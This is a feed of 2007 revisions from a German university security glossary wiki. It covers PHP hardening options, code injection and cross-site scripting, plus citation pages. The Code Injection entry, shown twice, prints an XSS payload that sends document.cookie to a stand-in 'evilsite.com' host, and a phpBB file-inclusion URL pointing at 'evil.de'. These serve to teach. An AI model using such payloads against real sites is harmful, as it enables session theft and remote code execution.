um Internetauftritte zu gestalten, werden einige der relevanten Sicherheitsoptionen nachfolgend&lt;br /&gt;
kurz vorgestellt:&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;code&amp;gt;allow_url_fopen = off&amp;lt;/code&amp;gt;&lt;br /&gt;
Diese Option erlaubt es, PHP-Skripten nur noch lokale Dateien des Servers einzubinden. Damit&lt;br /&gt;
können keine Skripte von externen Servern mehr ausgeführt werden.&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;code&amp;gt;open_basedir = /pfad/zum/www-ordner&amp;lt;/code&amp;gt;&lt;br /&gt;
Diese Option schränkt den Arbeitsbereich der Anwendung auf ein Verzeichnis ein. Die Applikation ist nicht&lt;br /&gt;
mehr in der Lage Dateien außerhalb dieses Verzeichnisses zu öffnen. Die Unterordner dieses&lt;br /&gt;
Verzeichnisses können weiterhin benutzt werden.&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;code&amp;gt;save-mode = on&amp;lt;/code&amp;gt;&lt;br /&gt;
Diese Option schränkt die Zugriffsrechte der PHP-Anwendung ein auf Dateien die dem Nutzer gehören.&lt;br /&gt;
Darüber hinaus werden auch einige gefährliche Funktionen wie &amp;lt;code&amp;gt;shell-exec()&amp;lt;/code&amp;gt; gesperrt. Eine&lt;br /&gt;
weitere Steuerung ist durch weitere Optionen dennoch möglich.&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;code&amp;gt;display_errors = off&amp;lt;/code&amp;gt;&lt;br /&gt;
Da manche Angriffe gezielt Fehlermeldungen provozieren um z.B. Systempfade&lt;br /&gt;
zur Applikation auszulesen, bietet diese Option die Möglichkeit, das Ausgeben von&lt;br /&gt;
Fehlermeldungen zu unterbinden.&lt;br /&gt;
&lt;br /&gt;
Neben dem sauberen Programmieren sollte grundsätzlich allen Daten, die in&lt;br /&gt;
irgendeiner Form von außen manipuliert worden sein könnten, misstraut werden. Diese Daten sollten als unsicher&lt;br /&gt;
angesehen und auf Gültigkeit hin geprüft werden. Das gilt auch für die Variablen in den URLs!&lt;br /&gt;
&lt;br /&gt;
Es sollten keine ungefilterten Strings zur Weiterverarbeitung durchgereicht werden, also z.B.&lt;br /&gt;
Steuerzeichen durch ihre Escapesequenzen ersetzen.&lt;br /&gt;
&lt;br /&gt;
Zwar würde dadurch kein unerwünschter Befehl mehrausgeführt werden, allerdings hat das Ersetzen&lt;br /&gt;
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt&lt;br /&gt;
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit&lt;br /&gt;
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.&lt;br /&gt;
&lt;br /&gt;
Deswegen gibt es listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen&lt;br /&gt;
Tags verändert werden. Es wird dabei das [[Whitelisting]] und das [[Blacklisting]] unterschieden.&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
* [[C. Sima]]&lt;br /&gt;
* [[B. Sullivan]]&lt;br /&gt;
* [[Rütten, Glemser (2006)]]&lt;br /&gt;
* [[Fuhrberg, Häger, Wolf (2001)]]&lt;br /&gt;
* [[Schwenk (2002)]]&lt;br /&gt;
* [[Kyas (1999)]]&lt;br /&gt;
* [[Nusser (1998)]]&lt;br /&gt;
* [[Ziegler (2007)]]&lt;br /&gt;
* Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen. ericht der Arbeitsgruppe Verwaltungen und Kliniken im Hochschulnetz. Bayerisches Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998&lt;br /&gt;
* XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html&lt;br /&gt;
* heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
*[[Codeinjection]]&lt;br /&gt;
*[[Whitelisting]]&lt;br /&gt;
*[[Blacklisting]]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;br /&gt;
[[Kategorie:Glossar]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Code_Injection&amp;diff=9987</id>
		<title>Code Injection</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Code_Injection&amp;diff=9987"/>
		<updated>2007-06-27T13:57:11Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Definition=&lt;br /&gt;
&lt;br /&gt;
Codeinjektion wird bei [[Cross Site Scripting]] eingesetzt und findet seinen Einsatz in variablen Bereichen dynamischer Webseiten, also&lt;br /&gt;
überall dort, wo Benutzer etwas selbstständig eintragen dürfen.&lt;br /&gt;
&lt;br /&gt;
=Bemerkungen=&lt;br /&gt;
Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite&lt;br /&gt;
dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes&lt;br /&gt;
wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt.&lt;br /&gt;
&lt;br /&gt;
Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite,&lt;br /&gt;
weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden.&lt;br /&gt;
&lt;br /&gt;
Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese&lt;br /&gt;
Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die&lt;br /&gt;
Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den&lt;br /&gt;
gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum injizieren von Code&lt;br /&gt;
verwendet werden.&lt;br /&gt;
&lt;br /&gt;
=Beispiel: Stehlen eines Cookies=&lt;br /&gt;
&lt;br /&gt;
Eine ungesicherte dynamische Seite, die mit PHP geschrieben wurde und über ein Titel- und Text-Feld verfügt legt zunächst mit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
setcookie(&amp;quot;xss&amp;quot; , &amp;quot;This content will be stored in a cookie&amp;quot; );&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ein Cookie mit dem Namen xss und dem Inhalt &amp;quot;This content will be stored in a cookie&amp;quot; beim Benutzer an.&lt;br /&gt;
&lt;br /&gt;
Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld).&lt;br /&gt;
&lt;br /&gt;
Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des&lt;br /&gt;
Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
  document.location=&amp;quot;http://www.evilsite.com/evilscript.php?info=&amp;quot;+document.cookie;&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Anschließend wird im Browser, der folgende Link angezeigt:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://www.evilwebsite.com/evilscript.php?info=xss=This+content+will+be+stored+in+a+cookie&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.&lt;br /&gt;
&lt;br /&gt;
=Beispiel: Umleitung einer Seite=&lt;br /&gt;
Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier-&lt;br /&gt;
oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP&lt;br /&gt;
Anweisung anfällig auf XSS, dies wird mit einem Beispiel aus [[Rütten, Glemser (2006)]] vorgeführt.&lt;br /&gt;
&lt;br /&gt;
Mit der Anweisung&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
include_once($phpbb_root_path=’common.php’)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen,&lt;br /&gt;
indem man die dynamische Seite mit folgendem Code „fütterte“:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/plugin.php&amp;amp;phpbb_root_path=http://evil.de&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dies führte dazu, das statt der gewünschten Datei die Datei &amp;lt;code&amp;gt;http://evil.de/common.php&amp;lt;/code&amp;gt; ausgeführt&lt;br /&gt;
wurde.&lt;br /&gt;
&lt;br /&gt;
Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten.&lt;br /&gt;
&lt;br /&gt;
=Gängige Vertreter=&lt;br /&gt;
*[[SQL Injection]], wird am häufigsten eingesetzt&lt;br /&gt;
*[[LDAP Injection]]&lt;br /&gt;
*[[SSI Injection]]&lt;br /&gt;
*[[XPath Injection]]&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
* [[C. Sima]]&lt;br /&gt;
* [[B. Sullivan]]&lt;br /&gt;
* [[Rütten, Glemser (2006)]]&lt;br /&gt;
* [[Fuhrberg, Häger, Wolf (2001)]]&lt;br /&gt;
* [[Schwenk (2002)]]&lt;br /&gt;
* [[Kyas (1999)]]&lt;br /&gt;
* [[Nusser (1998)]]&lt;br /&gt;
* [[Ziegler (2007)]]&lt;br /&gt;
* Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen. Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998&lt;br /&gt;
* XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html&lt;br /&gt;
* heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Cross Sit+e Scripting]]&lt;br /&gt;
*[[Whitelisting]]&lt;br /&gt;
*[[Blacklisting]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;br /&gt;
[[Kategorie:Glossar]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Code_Injection&amp;diff=9986</id>
		<title>Code Injection</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Code_Injection&amp;diff=9986"/>
		<updated>2007-06-27T13:56:21Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
&lt;br /&gt;
Codeinjektion wird bei [[Cross Site Scripting]] eingesetzt und findet seinen Einsatz in variablen Bereichen dynamischer Webseiten, also&lt;br /&gt;
überall dort, wo Benutzer etwas selbstständig eintragen dürfen.&lt;br /&gt;
&lt;br /&gt;
=Bemerkungen=&lt;br /&gt;
Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite&lt;br /&gt;
dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes&lt;br /&gt;
wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt.&lt;br /&gt;
&lt;br /&gt;
Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite,&lt;br /&gt;
weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden.&lt;br /&gt;
&lt;br /&gt;
Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese&lt;br /&gt;
Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die&lt;br /&gt;
Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den&lt;br /&gt;
gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum injizieren von Code&lt;br /&gt;
verwendet werden.&lt;br /&gt;
&lt;br /&gt;
=Beispiel: Stehlen eines Cookies=&lt;br /&gt;
&lt;br /&gt;
Eine ungesicherte dynamische Seite, die mit PHP geschrieben wurde und über ein Titel- und Text-Feld verfügt legt zunächst mit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
setcookie(&amp;quot;xss&amp;quot; , &amp;quot;This content will be stored in a cookie&amp;quot; );&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ein Cookie mit dem Namen xss und dem Inhalt &amp;quot;This content will be stored in a cookie&amp;quot; beim Benutzer an.&lt;br /&gt;
&lt;br /&gt;
Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld).&lt;br /&gt;
&lt;br /&gt;
Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des&lt;br /&gt;
Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
  document.location=&amp;quot;http://www.evilsite.com/evilscript.php?info=&amp;quot;+document.cookie;&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Anschließend wird im Browser, der folgende Link angezeigt:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://www.evilwebsite.com/evilscript.php?info=xss=This+content+will+be+stored+in+a+cookie&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.&lt;br /&gt;
&lt;br /&gt;
=Beispiel: Umleitung einer Seite=&lt;br /&gt;
Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier-&lt;br /&gt;
oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP&lt;br /&gt;
Anweisung anfällig auf XSS, dies wird mit einem Beispiel aus [[Rütten, Glemser (2006)]] vorgeführt.&lt;br /&gt;
&lt;br /&gt;
Mit der Anweisung&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
include_once($phpbb_root_path=’common.php’)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen,&lt;br /&gt;
indem man die dynamische Seite mit folgendem Code „fütterte“:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/plugin.php&amp;amp;phpbb_root_path=http://evil.de&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dies führte dazu, das statt der gewünschten Datei die Datei &amp;lt;code&amp;gt;http://evil.de/common.php&amp;lt;/code&amp;gt; ausgeführt&lt;br /&gt;
wurde.&lt;br /&gt;
&lt;br /&gt;
Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten.&lt;br /&gt;
&lt;br /&gt;
=Gängige Vertreter=&lt;br /&gt;
*[[SQL Injection]], wird am häufigsten eingesetzt&lt;br /&gt;
*[[LDAP Injection]]&lt;br /&gt;
*[[SSI Injection]]&lt;br /&gt;
*[[XPath Injection]]&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
* [[C. Sima]]&lt;br /&gt;
* [[B. Sullivan]]&lt;br /&gt;
* [[Rütten, Glemser (2006)]]&lt;br /&gt;
* [[Fuhrberg, Häger, Wolf (2001)]]&lt;br /&gt;
* [[Schwenk (2002)]]&lt;br /&gt;
* [[Kyas (1999)]]&lt;br /&gt;
* [[Nusser (1998)]]&lt;br /&gt;
* [[Ziegler (2007)]]&lt;br /&gt;
* Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen. Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998&lt;br /&gt;
* XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html&lt;br /&gt;
* heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Cross Sit+e Scripting]]&lt;br /&gt;
*[[Whitelisting]]&lt;br /&gt;
*[[Blacklisting]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;br /&gt;
[[Kategorie:Glossar]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Ziegler,_P._(2007):_XSS_%E2%80%93_Cross-site_scripting&amp;diff=9985</id>
		<title>Ziegler, P. (2007): XSS – Cross-site scripting</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Ziegler,_P._(2007):_XSS_%E2%80%93_Cross-site_scripting&amp;diff=9985"/>
		<updated>2007-06-27T13:30:23Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Quelle:Artikel&lt;br /&gt;
| key         = Ziegler (2007)&lt;br /&gt;
| authors     = Paul Sebastian Ziegler&lt;br /&gt;
| title       = XSS&lt;br /&gt;
| subtitle    = Cross Site Scripting&lt;br /&gt;
| journal     = hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
| volume      =&lt;br /&gt;
| number      = 1&lt;br /&gt;
| pages       = 20ff&lt;br /&gt;
| day         =&lt;br /&gt;
| month       =&lt;br /&gt;
| year        = 2007&lt;br /&gt;
| publisher   =&lt;br /&gt;
| address     =&lt;br /&gt;
| issn        =&lt;br /&gt;
| url         = http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html&lt;br /&gt;
| annotations = Ein kurzer Artikel in englischer Sprache, der in HTML zur Verfügung steht.&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Quelle:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Nusser,_S._(1998):_Sicherheitskonzepte_im_WWW&amp;diff=9984</id>
		<title>Nusser, S. (1998): Sicherheitskonzepte im WWW</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Nusser,_S._(1998):_Sicherheitskonzepte_im_WWW&amp;diff=9984"/>
		<updated>2007-06-27T13:29:54Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Quelle:Buch |&lt;br /&gt;
  key         = Nusser (1998)|&lt;br /&gt;
  authors     = Stefan Nusser|&lt;br /&gt;
  editors     = |&lt;br /&gt;
  title       = Sicherheitskonzepte im WWW.|&lt;br /&gt;
  subtitle    = |&lt;br /&gt;
  volume      = |&lt;br /&gt;
  number      = |&lt;br /&gt;
  edition     = |&lt;br /&gt;
  series      = |&lt;br /&gt;
  month       = |&lt;br /&gt;
  year        = 1998|&lt;br /&gt;
  publisher   = Vieweg Verlag|&lt;br /&gt;
  address     = |&lt;br /&gt;
  isbn        = 3-540-63391-X|&lt;br /&gt;
  url         = |&lt;br /&gt;
  shelfmark   = |&lt;br /&gt;
  annotations = |&lt;br /&gt;
}}&lt;br /&gt;
[[Kategorie:Quelle:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Kyas,_O._(1999):_Sicherheit_im_Internet&amp;diff=9983</id>
		<title>Kyas, O. (1999): Sicherheit im Internet</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Kyas,_O._(1999):_Sicherheit_im_Internet&amp;diff=9983"/>
		<updated>2007-06-27T13:29:24Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Quelle:Buch |&lt;br /&gt;
  key         = Kyas (1999)|&lt;br /&gt;
  authors     = Othmar Kyas|&lt;br /&gt;
  editors     = |&lt;br /&gt;
  title       = Sicherheit im Internet|&lt;br /&gt;
  subtitle    = |&lt;br /&gt;
  volume      = |&lt;br /&gt;
  number      = |&lt;br /&gt;
  edition     = 2. Auflage|&lt;br /&gt;
  series      = |&lt;br /&gt;
  month       = |&lt;br /&gt;
  year        = 1999|&lt;br /&gt;
  publisher   = Vieweg Verlag|&lt;br /&gt;
  address     = |&lt;br /&gt;
  isbn        = 3-8266-4024-1|&lt;br /&gt;
  url         = |&lt;br /&gt;
  shelfmark   = |&lt;br /&gt;
  annotations = |&lt;br /&gt;
}}&lt;br /&gt;
[[Kategorie:Quelle:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=R%C3%BCtten,_C.;_Glemser,_T._(2006):_Gesundes_Misstrauen&amp;diff=9981</id>
		<title>Rütten, C.; Glemser, T. (2006): Gesundes Misstrauen</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=R%C3%BCtten,_C.;_Glemser,_T._(2006):_Gesundes_Misstrauen&amp;diff=9981"/>
		<updated>2007-06-27T13:27:18Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Quelle:Artikel&lt;br /&gt;
| key         = Rütten, Glemser (2006)&lt;br /&gt;
| authors     = Christiane Rütten, Tobias Glemser&lt;br /&gt;
| title       = Gesundes Misstrauen&lt;br /&gt;
| subtitle    = Sicherheit von Webanwendungen&lt;br /&gt;
| journal     = C&#039;t&lt;br /&gt;
| volume      =&lt;br /&gt;
| number      = 26&lt;br /&gt;
| pages       = 234ff&lt;br /&gt;
| day         =&lt;br /&gt;
| month       =&lt;br /&gt;
| year        = 2006&lt;br /&gt;
| publisher   =&lt;br /&gt;
| address     =&lt;br /&gt;
| issn        =&lt;br /&gt;
| url         = http://www.heise.de/ct/06/26/006/&lt;br /&gt;
| annotations = Ein 6 Seitiger Artikel.&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Quelle:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Sullivan_B._(2006):_Malicious_Code_Injection:_It%27s_Not_Just_for_SQL_Anymore&amp;diff=9980</id>
		<title>Sullivan B. (2006): Malicious Code Injection: It&#039;s Not Just for SQL Anymore</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Sullivan_B._(2006):_Malicious_Code_Injection:_It%27s_Not_Just_for_SQL_Anymore&amp;diff=9980"/>
		<updated>2007-06-27T13:26:24Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Quelle:Artikel&lt;br /&gt;
| key         = B. Sullivan&lt;br /&gt;
| authors     = Bryan Sullivan&lt;br /&gt;
| title       = Malicious Code Injection: It&#039;s Not Just for SQL Anymore.&lt;br /&gt;
| subtitle    =&lt;br /&gt;
| journal     = http://www.spidynamics.com/spilabs/education/articles&lt;br /&gt;
| volume      =&lt;br /&gt;
| number      =&lt;br /&gt;
| pages       =&lt;br /&gt;
| day         =&lt;br /&gt;
| month       =&lt;br /&gt;
| year        =&lt;br /&gt;
| publisher   =&lt;br /&gt;
| address     =&lt;br /&gt;
| issn        =&lt;br /&gt;
| url         = http://www.spidynamics.com/spilabs/education/articles/coede-injection.html&lt;br /&gt;
| annotations = Ein kurzer Artikel in englischer Sprache, der in HTML zur Verfügung steht.&lt;br /&gt;
}}&lt;br /&gt;
[[Kategorie:Quelle:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Sima,_C._(2006):_Locking_the_Door_Behind_You:_Hacker_Protection_for_Your_Web_Applications&amp;diff=9979</id>
		<title>Sima, C. (2006): Locking the Door Behind You: Hacker Protection for Your Web Applications</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Sima,_C._(2006):_Locking_the_Door_Behind_You:_Hacker_Protection_for_Your_Web_Applications&amp;diff=9979"/>
		<updated>2007-06-27T13:25:01Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Quelle:Artikel&lt;br /&gt;
| key         = C. Sima&lt;br /&gt;
| authors     = Caleb Sima&lt;br /&gt;
| title       = Locking the Door Behind You: Hacker Protection for Your Web Applications.&lt;br /&gt;
| subtitle    =&lt;br /&gt;
| journal     = http://www.spidynamics.com/spilabs/education/articles&lt;br /&gt;
| volume      =&lt;br /&gt;
| number      =&lt;br /&gt;
| pages       =&lt;br /&gt;
| day         =&lt;br /&gt;
| month       =&lt;br /&gt;
| year        =&lt;br /&gt;
| publisher   =&lt;br /&gt;
| address     =&lt;br /&gt;
| issn        =&lt;br /&gt;
| url         = http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html&lt;br /&gt;
| annotations = Ein kurzer Artikel in englischer Sprache, der in HTML zur Verfügung steht.&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Quelle:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=XSS&amp;diff=9798</id>
		<title>XSS</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=XSS&amp;diff=9798"/>
		<updated>2007-06-25T19:50:52Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: Weiterleitung nach Cross Site Scripting&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[Cross Site Scripting]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=XSS&amp;diff=9796</id>
		<title>XSS</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=XSS&amp;diff=9796"/>
		<updated>2007-06-25T19:47:18Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Siehe [[Cross Site Scripting]].&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=SQL_Injection&amp;diff=9713</id>
		<title>SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=SQL_Injection&amp;diff=9713"/>
		<updated>2007-06-25T15:56:22Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
Wird eingesetzt, um Content Management Systeme mit SQL-Datenbank-Anbindung anzugreifen. SQL Injection wird erst durch Ausnutzen&lt;br /&gt;
einer Sicherheitslücke möglich, die durch mangelnde Maskierung bzw. Überprüfung in Benutzereingaben entsteht.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Zählt zu den aktiven Angriffen und wird eingesetzt um empfindliche Daten zu stehlen oder gar die Kontrolle über den angegriffenen&lt;br /&gt;
Server zu gelangen. Dabei werden SQL-Kommandos entweder eingeschleust oder manipuliert. Der schädliche Code kann auch über die&lt;br /&gt;
Parameter einer URL an die Webseite weitergereicht werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Beispiel=&lt;br /&gt;
